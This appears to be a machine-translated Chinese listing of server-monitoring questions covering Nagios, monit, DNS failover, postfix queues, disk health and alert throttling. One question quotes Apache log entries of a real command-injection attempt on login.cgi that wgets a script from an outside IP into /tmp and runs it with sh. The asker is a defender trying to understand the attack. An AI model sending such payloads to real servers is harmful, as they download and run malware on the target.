来自this的后续问题:
如何从服务器接收电子邮件?是否有一些软件可以让您接收、分类和过滤这些电子邮件,从而轻松地从许多服务器(基于 Web 或基于客户端)接收电子邮件?
我了解 Nagios 是如何工作的,因为它会定期轮询系统的状态。例如,它可以每分钟检查某些文件的存在或某些网页的可用性。
但是当我想直接从我的应用程序代码创建警报时呢?假设用户尝试执行一些非法操作,我想收到警报。
例如,我可以将此事件记录到文件中并配置 Nagios 以定期轮询此文件。这似乎只是一种间接的方式。如果我可以使用警报详细信息调用某个接口(REST、SOAP),为什么还要在文件系统中编写、轮询和解析文件?
是否有可用的东西可以让我的应用程序直接调用 Nagios(或者由于某种原因这会是一个糟糕的设计)?
我必须monit监视一个进程,但它没有意识到它已关闭。我的监控配置是这样的:
check process xxx with pidfile /var/run/xxx.pid
group yyy
start program = "/etc/init.d/xxx start"
stop program = "/etc/init.d/xxx stop"
if failed host 127.0.0.1 port 9999 then restart
if 5 restarts within 5 cycles then timeout
Run Code Online (Sandbox Code Playgroud)
问题是即使我的进程崩溃了,PID 文件仍然存在。所以...PID 存在但本地主机中的端口 9999 应该失败。那么... monit 是否应该不重启这个过程?应该删除pid文件吗?不能做那种OR?
提前致谢,
出于延迟原因,我们在世界各地运行多个冗余服务器。目前,如果一个站点出现故障,我们让另一个站点接管该区域的唯一方法是通过 DNS。
我们希望自动执行此过程,例如,如果通过监控工具检测到站点出现故障,则替换/修改区域文件。
我的 Google 技能只发现提供此服务的公司,但我们更喜欢我们自己的解决方案。我们目前使用 Nagios 进行监控,我们的名称服务器是 Bind。
是否有任何工具/方法可以完成此操作?
我目前正在研究我们的网络监控系统 (NMS) 项目,我想知道是否有办法确定每台 PC 当前所在的位置。比如说,我们有一个房间,里面有 40 台 PC,我们的 NMS 是否有可能知道哪台 PC 位于哪个物理位置?
能够通过使用它们的确切位置来判断房间内两台或三台 PC 是否交换了位置,这对我正在做的事情很有用。
有没有办法使用 monit 监控 postfix 邮件队列?可用的脚本只是检查、启动/关闭/内存或 CPU。我想在队列开始填满时收到通知。能够在不同的队列上设置监视器以便能够做出适当的反应会很好。
我正在构建一个新服务器Apache,实际上我正在学习,所以我正在尝试不同的东西。我的安全系统已经完成,但当然我可能会遗漏一些东西,或者,如果没有,我明白今天没有任何系统可以 100% 保护我。那么,为什么我认为有人尝试过我,只是因为我在日志中收到了以下信息:
1.53.11.43 - - [01/Sep/2018:23:48:30 +0000] "GET /login.cgi?cli=aa%20aa%27;wget%20http://148.72.176.78/ngynx%20-O%20-%3E%20/tmp/ngynx;sh%20/tmp/ngynx%27$ HTTP/1.1" 400 566 "-" "Hakai/2.0"
41.47.195.103 - - [01/Sep/2018:22:48:49 +0000] "GET /login.cgi?cli=aa%20aa%27;wget%20http://77.87.77.250/izuku.sh%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 566
还有更多。我知道有人收到错误 400,这对我来说还不错。所以,实际上我的问题不是他们是否尝试我,因为我认为是,因为这似乎不是对我网站的正常请求。我想得到这个请求的解释来理解和学习。他们实际上想做什么,找到我的登录系统并将其发送给某个人?
PS我已经知道wget你可以下载一些网站,我还发现这login.cgi是一个基于cookie的身份验证程序。
谢谢!
检查服务器是否关闭的最简单方法是什么?不使用第二台服务器或我的家用电脑。最好是自我检测。
我正在考虑每隔几分钟使用 libcurl 进行一次 cron 作业来下载页面并查看是否有错误。
我知道当前驱动器冗余和备份的标准方法将是一个更好的解决方案,但我很感兴趣,如果有一个软件可以安装在工作站计算机上,可以监控硬盘驱动器的健康状况并在驱动器看起来时发出警告就像失败迫在眉睫。我尝试过硬盘健康,但它没有给我非常有用的信息。我对驱动器空间不感兴趣,只是想在驱动器故障之前提醒一下。任何人都知道这样的事情吗?
我们有一个非常简单的系统设置,当出现系统问题时我会收到短信。没什么好看的 我向我的日志类中的电话号码发送电子邮件以了解警报级别。它运行良好,但有一个主要缺陷:系统/站点中的一个小问题可能会变成数十条快速发送的短信。有时会不停地发短信,直到我登录系统并解决问题。
因此,我正在寻找有关可以以更智能的方式处理警报的软件或服务的指针。也许某些东西只会在 Y 分钟内向我发送 X 次警报。我不是在寻找完整的监控套件。我们已经在内部处理了这个问题。我只是想解决这个单一的问题。
monitoring ×10
linux ×2
monit ×2
alerts ×1
apache-2.4 ×1
centos6 ×1
email ×1
failover ×1
hacking ×1
hard-drive ×1
hardware ×1
hp ×1
hp-proliant ×1
logging ×1
login ×1
nagios ×1
pid ×1
postfix ×1
security ×1